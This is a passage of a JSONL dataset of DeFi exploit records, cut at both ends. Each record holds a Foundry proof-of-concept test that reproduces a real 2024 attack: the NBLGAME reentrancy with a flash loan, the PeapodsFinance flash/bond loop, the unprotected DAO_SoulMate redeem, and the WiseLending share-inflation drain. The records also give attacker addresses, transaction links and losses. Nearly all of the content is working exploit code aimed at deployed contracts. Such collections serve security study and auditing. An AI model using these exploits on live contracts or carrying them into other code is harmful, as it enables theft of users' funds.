tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(\n ExactInputSingleParams memory params\n ) external payable returns (uint256 amountOut);\n}\n\ncontract ContractTest is Test {\n IERC721 private constant NBF = IERC721(0x534e1a8a89548C44BE7abA1c3c27951801940C10);\n IERC20 private constant NBL = IERC20(0x4B03afC91295ed778320c2824bAd5eb5A1d852DD);\n IERC20 private constant USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58);\n IERC20 private constant WETH = IERC20(0x4200000000000000000000000000000000000006);\n Uni_Pair_V3 private constant NBL_USDT = Uni_Pair_V3(0xfAF037caAfA9620bFAebc04C298Bf4A104963613);\n IRouterV3 private constant Router = IRouterV3(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);\n INblNftStake private constant NblNftStake = INblNftStake(0x5499178919C79086fd580d6c5f332a4253244D91);\n address private constant exploiterEOA = 0x1FD0a6A5e232EebA8020A40535AD07013Ec4ef12;\n address private constant mainAttackContract = 0xE4D41BDD6459198B33Cc795ff280cEE02d91087b;\n bool private reenter = true;\n\n function setUp() public {\n vm.createSelectFork(\"optimism\", 115_293_068);\n vm.label(address(NBF), \"NBF\");\n vm.label(address(NBL), \"NBL\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(NBL_USDT), \"NBL_USDT\");\n vm.label(address(Router), \"Router\");\n vm.label(address(NblNftStake), \"NblNftStake\");\n vm.label(exploiterEOA, \"exploiterEOA\");\n vm.label(mainAttackContract, \"mainAttackContract\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter USDT balance before attack\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n // Transfering NBF NFT token (id = 737) from main attack contract to helper attack contract which will be exploiting reentrancy vulnerability\n vm.prank(mainAttackContract, exploiterEOA);\n NBF.transferFrom(mainAttackContract, address(this), 737);\n assertEq(NBF.ownerOf(737), address(this));\n\n NBL_USDT.flash(address(this), NBL.balanceOf(address(NblNftStake)), 0, \"\");\n\n NBLToUSDT();\n NBLToWETH();\n\n emit log_named_decimal_uint(\n \"Exploiter USDT balance after attack\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n USDT.approve(address(Router), type(uint256).max);\n USDT.approve(address(NblNftStake), type(uint256).max);\n NBL.approve(address(Router), type(uint256).max);\n NBL.approve(address(NblNftStake), type(uint256).max);\n uint256 returnAmount = NBL.balanceOf(address(NblNftStake));\n\n NBF.setApprovalForAll(address(NblNftStake), true);\n NblNftStake.unlockSlot();\n NblNftStake.depositNft(737, 0);\n NblNftStake.depositNbl(0, NBL.balanceOf(address(this)));\n // Flawed function. No reentrancy protection\n NblNftStake.withdrawNft(0);\n\n // Repaying flashloan\n NBL.transfer(address(NBL_USDT), returnAmount + fee0);\n }\n\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4) {\n if (reenter) {\n reenter = false;\n NBF.transferFrom(address(this), address(NblNftStake), 737);\n NblNftStake.withdrawNft(0);\n NblNftStake.depositNft(737, 0);\n }\n return this.onERC721Received.selector;\n }\n\n function NBLToUSDT() internal {\n IRouterV3.ExactInputSingleParams memory params = IRouterV3.ExactInputSingleParams({\n tokenIn: address(NBL),\n tokenOut: address(USDT),\n fee: 3000,\n recipient: address(this),\n amountIn: (NBL.balanceOf(address(this)) * 9) / 10,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n\n Router.exactInputSingle(params);\n }\n\n function NBLToWETH() internal {\n IRouterV3.ExactInputSingleParams memory params = IRouterV3.ExactInputSingleParams({\n tokenIn: address(NBL),\n tokenOut: address(WETH),\n fee: 3000,\n recipient: address(this),\n amountIn: NBL.balanceOf(address(this)),\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n\n Router.exactInputSingle(params);\n }\n}\n", "type": "exploit_poc", "protocol": "NBLGAME", "date": "2024-01", "file_name": "NBLGAME_exp.sol", "attack_vector": "flash_loan", "content_hash": "58b8409546c374f8", "collected_at": "2026-01-07T10:59:16.528758", "_source": "postmortems", "chain": "ethereum", "block_number": 115293068, "total_lost_raw": "~$180K", "total_lost_usd": 180000.0, "attacker_address": "https://optimistic.etherscan.io/address/0x1fd0a6a5e232eeba8020a40535ad07013ec4ef12", "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/optimism/0xf4fc3b638f1a377cf22b729199a9aeb27fc62fe2983a65c4d14b99ee5c5b2328", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~$180K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter USDT balance before attack\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n // Transfering NBF NFT token (id = 737) from main attack contract to helper attack contract which will be exploiting reentrancy vulnerability\n vm.prank(mainAttackContract, exploiterEOA);\n NBF.transferFrom(mainAttackContract, address(this), 737);\n assertEq(NBF.ownerOf(737), address(this));\n\n NBL_USDT.flash(address(this), NBL.balanceOf(address(NblNftStake)), 0, \"\");\n\n NBLToUSDT();\n NBLToWETH();\n\n emit log_named_decimal_uint(\n \"Exploiter USDT balance after attack\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$180K", "keyinfo_attacker": "https://optimistic.etherscan.io/address/0x1fd0a6a5e232eeba8020a40535ad07013ec4ef12", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/optimism/0xf4fc3b638f1a377cf22b729199a9aeb27fc62fe2983a65c4d14b99ee5c5b2328", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$180.0K", "content_richness_score": 9, "quality_estimate": "high", "title": "NBLGAME Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$1K\n// Attacker : https://etherscan.io/address/0xbed4fbf7c3e36727ccdab4c6706c3c0e17b10397\n// Attack Contracts : https://etherscan.io/address/0xbed4fbf7c3e36727ccdab4c6706c3c0e17b10397\n// Vuln Contract : https://etherscan.io/address/0xdbb20a979a92cccce15229e41c9b082d5b5d7e31\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x95c1604789c93f41940a7fd9eca11276975a9a65d250b89a247736287dbd2b7e\n\ninterface IUniswapV3Router {\n struct ExactInputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n }\n\n function exactInput(\n ExactInputParams memory params\n ) external payable returns (uint256 amountOut);\n}\n\ninterface IppPP is IERC20 {\n function flash(address _recipient, address _token, uint256 _amount, bytes memory _data) external;\n\n function bond(address _token, uint256 _amount) external;\n function debond(uint256 _amount, address[] memory, uint8[] memory) external;\n}\n\ncontract ContractTest is Test {\n IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IppPP private constant ppPP = IppPP(0xdbB20A979a92ccCcE15229e41c9B082D5b5d7E31);\n IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 private constant Peas = IERC20(0x02f92800F57BCD74066F5709F1Daa1A4302Df875);\n IUniswapV3Router private constant Router = IUniswapV3Router(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_109_653 - 1);\n vm.label(address(DAI), \"DAI\");\n vm.label(address(ppPP), \"ppPP\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(Peas), \"Peas\");\n }\n\n function testExploit() public {\n deal(address(DAI), address(this), 200e18);\n emit log_named_decimal_uint(\"Exploiter DAI balance before attack\", DAI.balanceOf(address(this)), DAI.decimals());\n\n uint8 i;\n while (i < 20) {\n DAI.approve(address(ppPP), 10e18);\n ppPP.flash(address(this), address(Peas), Peas.balanceOf(address(ppPP)), \"\");\n ++i;\n }\n\n address[] memory token = new address[](1);\n token[0] = address(Peas);\n uint8[] memory percentage = new uint8[](1);\n percentage[0] = 100;\n ppPP.debond(ppPP.balanceOf(address(this)), token, percentage);\n PeasToWETH();\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function callback(\n bytes calldata data\n ) external {\n Peas.approve(address(ppPP), Peas.balanceOf(address(this)));\n ppPP.bond(address(Peas), Peas.balanceOf(address(this)));\n }\n\n function PeasToWETH() internal {\n Peas.approve(address(Router), type(uint256).max);\n bytes memory _path = abi.encodePacked(address(Peas), hex\"002710\", address(DAI), hex\"0001f4\", address(WETH));\n IUniswapV3Router.ExactInputParams memory params = IUniswapV3Router.ExactInputParams({\n path: _path,\n recipient: address(this),\n deadline: block.timestamp + 1000,\n amountIn: Peas.balanceOf(address(this)),\n amountOutMinimum: 0\n });\n Router.exactInput(params);\n }\n}\n", "type": "exploit_poc", "protocol": "PeapodsFinance", "date": "2024-01", "file_name": "PeapodsFinance_exp.sol", "attack_vector": null, "content_hash": "268c08149c461131", "collected_at": "2026-01-07T10:59:16.528821", "_source": "postmortems", "chain": "ethereum", "block_number": 19109653, "total_lost_raw": "~$1K", "total_lost_usd": 1000.0, "attacker_address": "https://etherscan.io/address/0xbed4fbf7c3e36727ccdab4c6706c3c0e17b10397", "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x95c1604789c93f41940a7fd9eca11276975a9a65d250b89a247736287dbd2b7e", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~$1K", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(DAI), address(this), 200e18);\n emit log_named_decimal_uint(\"Exploiter DAI balance before attack\", DAI.balanceOf(address(this)), DAI.decimals());\n\n uint8 i;\n while (i < 20) {\n DAI.approve(address(ppPP), 10e18);\n ppPP.flash(address(this), address(Peas), Peas.balanceOf(address(ppPP)), \"\");\n ++i;\n }\n\n address[] memory token = new address[](1);\n token[0] = address(Peas);\n uint8[] memory percentage = new uint8[](1);\n percentage[0] = 100;\n ppPP.debond(ppPP.balanceOf(address(this)), token, percentage);\n PeasToWETH();\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$1K", "keyinfo_attacker": "https://etherscan.io/address/0xbed4fbf7c3e36727ccdab4c6706c3c0e17b10397", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x95c1604789c93f41940a7fd9eca11276975a9a65d250b89a247736287dbd2b7e", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.0K", "content_richness_score": 6.74, "quality_estimate": "medium", "title": "PeapodsFinance Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$319K\n// Attacker : https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd\n// Attack Contract : https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd\n// Victim Contract : https://etherscan.io/address/0x82c063afefb226859abd427ae40167cb77174b68\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x1ea0a2e88efceccb2dd93e6e5cb89e5421666caeefb1e6fc41b68168373da342\n\n// @Analysis\n// https://twitter.com/MetaSec_xyz/status/1749743245599617282\n\ninterface ISoulMateContract {\n function redeem(uint256 _shares, address _receiver) external;\n}\n\ncontract ContractTest is Test {\n ISoulMateContract private constant SoulMateContract = ISoulMateContract(0x82C063AFEFB226859aBd427Ae40167cB77174b68);\n IERC20 private constant BUI = IERC20(0xb7470Fd67e997b73f55F85A6AF0DeB2c96194885);\n IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 private constant MATIC = IERC20(0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0);\n IERC20 private constant AAVE = IERC20(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9);\n IERC20 private constant ENS = IERC20(0xC18360217D8F7Ab5e7c516566761Ea12Ce7F9D72);\n IERC20 private constant ZRX = IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498);\n IERC20 private constant UNI = IERC20(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_063_676);\n vm.label(address(SoulMateContract), \"SoulMateContract\");\n vm.label(address(BUI), \"BUI\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(DAI), \"DAI\");\n vm.label(address(MATIC), \"MATIC\");\n vm.label(address(AAVE), \"AAVE\");\n vm.label(address(ENS), \"ENS\");\n vm.label(address(ZRX), \"ZRX\");\n vm.label(address(UNI), \"UNI\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter USDC balance before attack\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\"Exploiter DAI balance before attack\", DAI.balanceOf(address(this)), DAI.decimals());\n emit log_named_decimal_uint(\n \"Exploiter MATIC balance before attack\", MATIC.balanceOf(address(this)), MATIC.decimals()\n );\n emit log_named_decimal_uint(\n \"Exploiter AAVE balance before attack\", AAVE.balanceOf(address(this)), AAVE.decimals()\n );\n emit log_named_decimal_uint(\"Exploiter ENS balance before attack\", ENS.balanceOf(address(this)), ENS.decimals());\n emit log_named_decimal_uint(\"Exploiter ZRX balance before attack\", ZRX.balanceOf(address(this)), ZRX.decimals());\n emit log_named_decimal_uint(\"Exploiter UNI balance before attack\", UNI.balanceOf(address(this)), UNI.decimals());\n\n // No access control\n SoulMateContract.redeem(BUI.balanceOf(address(SoulMateContract)), address(this));\n\n emit log_named_decimal_uint(\n \"Exploiter USDC balance after attack\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\"Exploiter DAI balance after attack\", DAI.balanceOf(address(this)), DAI.decimals());\n emit log_named_decimal_uint(\n \"Exploiter MATIC balance after attack\", MATIC.balanceOf(address(this)), MATIC.decimals()\n );\n emit log_named_decimal_uint(\n \"Exploiter AAVE balance after attack\", AAVE.balanceOf(address(this)), AAVE.decimals()\n );\n emit log_named_decimal_uint(\"Exploiter ENS balance after attack\", ENS.balanceOf(address(this)), ENS.decimals());\n emit log_named_decimal_uint(\"Exploiter ZRX balance after attack\", ZRX.balanceOf(address(this)), ZRX.decimals());\n emit log_named_decimal_uint(\"Exploiter UNI balance after attack\", UNI.balanceOf(address(this)), UNI.decimals());\n }\n}\n", "type": "exploit_poc", "protocol": "DAO_SoulMate", "date": "2024-01", "file_name": "DAO_SoulMate_exp.sol", "attack_vector": "access_control", "content_hash": "27c0a26d49c28361", "collected_at": "2026-01-07T10:59:16.528875", "_source": "postmortems", "chain": "ethereum", "block_number": 19063676, "total_lost_raw": "~$319K", "total_lost_usd": 319000.0, "attacker_address": "https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd", "attack_contract": "https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x1ea0a2e88efceccb2dd93e6e5cb89e5421666caeefb1e6fc41b68168373da342", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~$319K", "category": "access-control", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter USDC balance before attack\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\"Exploiter DAI balance before attack\", DAI.balanceOf(address(this)), DAI.decimals());\n emit log_named_decimal_uint(\n \"Exploiter MATIC balance before attack\", MATIC.balanceOf(address(this)), MATIC.decimals()\n );\n emit log_named_decimal_uint(\n \"Exploiter AAVE balance before attack\", AAVE.balanceOf(address(this)), AAVE.decimals()\n );\n emit log_named_decimal_uint(\"Exploiter ENS balance before attack\", ENS.balanceOf(address(this)), ENS.decimals());\n emit log_named_decimal_uint(\"Exploiter ZRX balance before attack\", ZRX.balanceOf(address(this)), ZRX.decimals());\n emit log_named_decimal_uint(\"Exploiter UNI balance before attack\", UNI.balanceOf(address(this)), UNI.decimals());\n\n // No access control\n SoulMateContract.redeem(BUI.balanceOf(address(SoulMateContract)), address(this));\n\n emit log_named_decimal_uint(\n \"Exploiter USDC balance after attack\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\"Exploiter DAI balance after attack\", DAI.balanceOf(address(this)), DAI.decimals());\n emit log_named_decimal_uint(\n \"Exploiter MATIC balance after attack\", MATIC.balanceOf(address(this)), MATIC.decimals()\n );\n emit log_named_decimal_uint(\n \"Exploiter AAVE balance after attack\", AAVE.balanceOf(address(this)), AAVE.decimals()\n );\n emit log_named_decimal_uint(\"Exploiter ENS balance after attack\", ENS.balanceOf(address(this)), ENS.decimals());\n emit log_named_decimal_uint(\"Exploiter ZRX balance after attack\", ZRX.balanceOf(address(this)), ZRX.decimals());\n emit log_named_decimal_uint(\"Exploiter UNI balance after attack\", UNI.balanceOf(address(this)), UNI.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$319K", "keyinfo_attacker": "https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd", "keyinfo_attack_contract": "https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x1ea0a2e88efceccb2dd93e6e5cb89e5421666caeefb1e6fc41b68168373da342", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$319.0K", "content_richness_score": 8.03, "quality_estimate": "high", "title": "DAO_SoulMate Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.20;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~464K USD$\n// Attacker : https://etherscan.io/address/0xb90cf1d740b206b6d80854bc525e609dc42b45dc\n// Attack Contract : https://etherscan.io/address/0x91c49cc7fbfe8f70aceeb075952cd64817f9d82c\n// Vulnerable Contract : https://etherscan.io/address/0x37e49bf3749513a02fa535f0cbc383796e8107e4\n// Attack Tx :https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x37e49bf3749513a02fa535f0cbc383796e8107e4\n\n// @Analysis\n// Twitter : https://twitter.com/danielvf/status/1746303616778981402\n\ninterface IWiseLending {\n function depositExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);\n\n function withdrawExactShares(uint256 _nftId, address _poolToken, uint256 _shares) external returns (uint256);\n\n function withdrawExactAmount(\n uint256 _nftId,\n address _poolToken,\n uint256 _withdrawAmount\n ) external returns (uint256);\n\n function getPositionLendingShares(uint256 _nftId, address _poolToken) external view returns (uint256);\n\n function getTotalPool(\n address _poolToken\n ) external view returns (uint256);\n\n function mintPosition() external returns (uint256);\n\n function lendingPoolData(\n address _poolToken\n ) external view returns (uint256 pseudoTotalPool, uint256 totalDepositShares, uint256 collateralFactor);\n\n function borrowExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);\n}\n\ninterface IPool is IERC20 {\n function depositExactAmount(\n uint256 _underlyingLpAssetAmount\n ) external returns (uint256, uint256);\n\n function withdrawExactShares(\n uint256 _shares\n ) external returns (uint256);\n\n function getPositionLendingShares(uint256, address) external returns (uint256);\n}\n\ninterface PositionManager is IERC721 {\n function mintPosition() external returns (uint256);\n}\n\ncontract WiseLending is Test {\n uint256 blocknumToForkFrom = 18_992_907;\n IERC20 PendleLPT = IERC20(0xC374f7eC85F8C7DE3207a10bB1978bA104bdA3B2);\n IPool LPTPoolToken = IPool(0xB40b073d7E47986D3A45Ca7Fd30772C25A2AD57f); // underlyingToken\n IWiseLending wiseLending = IWiseLending(payable(0x37e49bf3749513A02FA535F0CbC383796E8107E4));\n IERC20 wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n PositionManager PositionNFTs = PositionManager(0x32E0A7F7C4b1A19594d25bD9b63EBA912b1a5f61);\n address attackerContract = 0x91c49Cc7FBfE8f70AceEb075952cD64817f9d82c;\n Helper[6] helpers;\n\n function setUp() public {\n vm.label(address(PendleLPT), \"PendleLPT\");\n vm.label(address(LPTPoolToken), \"LPTPoolToken\");\n vm.label(address(wiseLending), \"wiseLending\");\n vm.label(address(wstETH), \"wstETH\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(PositionNFTs), \"PositionNFTs\");\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n }\n\n function testExploit() public {\n deal(address(PendleLPT), address(this), 520_539_781_914_590_517_894);\n\n emit log_named_decimal_uint(\"Attacker PendleLPT Balance before exploit\", PendleLPT.balanceOf(address(this)), 18);\n\n PendleLPT.approve(address(LPTPoolToken), type(uint256).max);\n LPTPoolToken.depositExactAmount(PendleLPT.balanceOf(address(this)));\n LPTPoolToken.approve(address(wiseLending), type(uint256).max);\n\n // set WiseLending pool state: pseudoTotalPool(underlying): 2 wei, totalDepositShares(share): 1 wei\n // see below tx: https://etherscan.io/tx/0x67d6c554314c9b306d683afb3bc4a10e70509ceb0fdf8415a5e270a91fae52de\n vm.startPrank(attackerContract);\n PositionNFTs.transferFrom(attackerContract, address(this), 8);\n vm.stopPrank();\n\n console.log(\"\\n 1. set wiseLending pool state\");\n wiseLending.withdrawExactShares(\n 8, address(LPTPoolToken), wiseLending.getPositionLendingShares(8, address(LPTPoolToken))\n );\n (uint256 underlyingAmount, uint256 shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n console.log(\"WiseLending pool state now, underlyingAmount:\", underlyingAmount, \"shareAmount: \", shareAmount);\n console.log(\"wiseLending Share Price 1: \", underlyingAmount / shareAmount);\n\n // inflae share price by donate LPTPoolToken to the wiseLending\n while (underlyingAmount / shareAmount < 36 ether) {\n wiseLending.depositExactAmount(8, address(LPTPoolToken), underlyingAmount * 2 - 1); //Since rounding in favor of the protocol, deposit 2x - 1 underlying, mint 1 share\n wiseLending.withdrawExactAmount(8, address(LPTPoolToken), 1); // withdraw 1 underlying, burn 1 share\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n }\n console.log(\"\\n 2. Donate LPTPoolToken to wiseLending by rounding in favor of the protocol\");\n console.log(\"WiseLending pool state now, underlyingAmount:\", underlyingAmount, \"shareAmount: \", shareAmount);\n console.log(\"wiseLending Share Price 2: \", underlyingAmount / shareAmount);\n\n //Mint 6 shares for withdraw donate LPTPoolToken\n console.log(\"\\n 3. Mint 6 shares for withdraw donate LPTPoolToken\");\n wiseLending.depositExactAmount(8, address(LPTPoolToken), 6 * underlyingAmount);\n\n // Open a position to borrow assets in 6 new accounts\n // Donate position collateral to the wiseLending pool through the incorrect health factor check\n console.log(\"\\n 4. Open positions to borrow assets and further inflae the share price\");\n for (uint256 i = 0; i < 6; i++) {\n helpers[i] = new Helper();\n }\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n LPTPoolToken.transfer(address(helpers[0]), underlyingAmount / shareAmount + 10);\n helpers[0].borrow(wstETH, underlyingAmount / shareAmount + 1, 43_767_595_652_604_943_692);\n\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n console.log(\"WiseLending Share Price 3: \", underlyingAmount / shareAmount);\n LPTPoolToken.transfer(address(helpers[1]), underlyingAmount / shareAmount + 10);\n helpers[1].borrow(wstETH, underlyingAmount / shareAmount + 1, 50_020_109_317_262_792_792);\n\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n console.log(\"WiseLending Share Price 4: \", underlyingAmount / shareAmount);\n LPTPoolToken.transfer(address(helpers[2]), underlyingAmount / shareAmount + 10);\n helpers[2].borrow(LPTPoolToken, underlyingAmount / shareAmount + 1, 23_443_463_776_915_873_010);\n\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n console.log(\"WiseLending Share Price 5: \", underlyingAmount / shareAmount);\n LPTPoolToken.transfer(address(helpers[3]), underlyingAmount / shareAmount + 10);\n helpers[3].borrow(WETH, underlyingAmount / shareAmount + 1, 73_498_936_139_651_450_633);\n\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n console.log(\"WiseLending Share Price 6: \", underlyingAmount / shareAmount);\n LPTPoolToken.transfer(address(helpers[4]), underlyingAmount / shareAmount + 10);\n helpers[4].borrow(LPTPoolToken, underlyingAmount / shareAmount + 1, 27_742_814_258_725_671_652);\n\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n console.log(\"WiseLending Share Price 7: \", underlyingAmount / shareAmount);\n LPTPoolToken.transfer(address(helpers[5]), underlyingAmount / shareAmount + 10);\n helpers[5].borrow(LPTPoolToken, underlyingAmount / shareAmount + 1, 48_332_561_371_175_655_788);\n\n // Withdraw donated LPTPoolTokens due to the increase in share price\n console.log(\"\\n 5. Withdraw donated LPTPoolTokens due to the increase in share price\");\n wiseLending.withdrawExactAmount(8, address(LPTPoolToken), wiseLending.getTotalPool(address(LPTPoolToken)));\n\n LPTPoolToken.withdrawExactShares(LPTPoolToken.balanceOf(address(this)));\n\n emit log_named_decimal_uint(\n \"\\n Attacker PendleLPT Balance After exploit\", PendleLPT.balanceOf(address(this)), 18\n );\n\n emit log_named_decimal_uint(\"Attacker WETH Balance After exploit\", WETH.balanceOf(address(this)), 18);\n\n emit log_named_decimal_uint(\"Attacker wstETH Balance After exploit\", wstETH.balanceOf(address(this)), 18);\n }\n}\n\ncontract Helper {\n IERC20 PendleLPT = IERC20(0xC374f7eC85F8C7DE3207a10bB1978bA104bdA3B2);\n IPool LPTPoolToken = IPool(0xB40b073d7E47986D3A45Ca7Fd30772C25A2AD57f); // underlyingToken\n IWiseLending wiseLending = IWiseLending(payable(0x37e49bf3749513A02FA535F0CbC383796E8107E4));\n IERC20 wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n PositionManager PositionNFTs = PositionManager(0x32E0A7F7C4b1A19594d25bD9b63EBA912b1a5f61);\n\n function borrow(IERC20 asset, uint256 collateralAmount, uint256 debtAmount) external {\n uint256 positionId = PositionNFTs.mintPosition();\n LPTPoolToken.approve(address(wiseLending), type(uint256).max);\n wiseLending.depositExactAmount(positionId, address(LPTPoolToken), collateralAmount); // deposit collateral\n wiseLending.borrowExactAmount(positionId, address(asset), debtAmount); // borrow asset\n\n // withdraw 1 wei collateral, burn 1 share, donate (sharePrice - 1) wei collateral to the pool, forced position entered into bad debt\n wiseLending.withdrawExactAmount(positionId, address(LPTPoolToken), 1);\n\n asset.transfer(msg.sender, asset.balanceOf(address(this)));\n LPTPoolToken.transfer(msg.sender, LPTPoolToken.balanceOf(address(this)));\n }\n\n function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {\n return this.onERC721Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "WiseLending03", "date": "2024-01", "file_name": "WiseLending03_exp.sol", "attack_vector": null, "content_hash": "81dffe5fc637b842", "collected_at": "2026-01-07T10:59:16.528947", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~464K USD$", "total_lost_usd": 464000.0, "attacker_address": "https://etherscan.io/address/0xb90cf1d740b206b6d80854bc525e609dc42b45dc", "attack_contract": "https://etherscan.io/address/0x91c49cc7fbfe8f70aceeb075952cd64817f9d82c", "vulnerable_contract": "https://etherscan.io/address/0x37e49bf3749513a02fa535f0cbc383796e8107e4", "attack_tx": 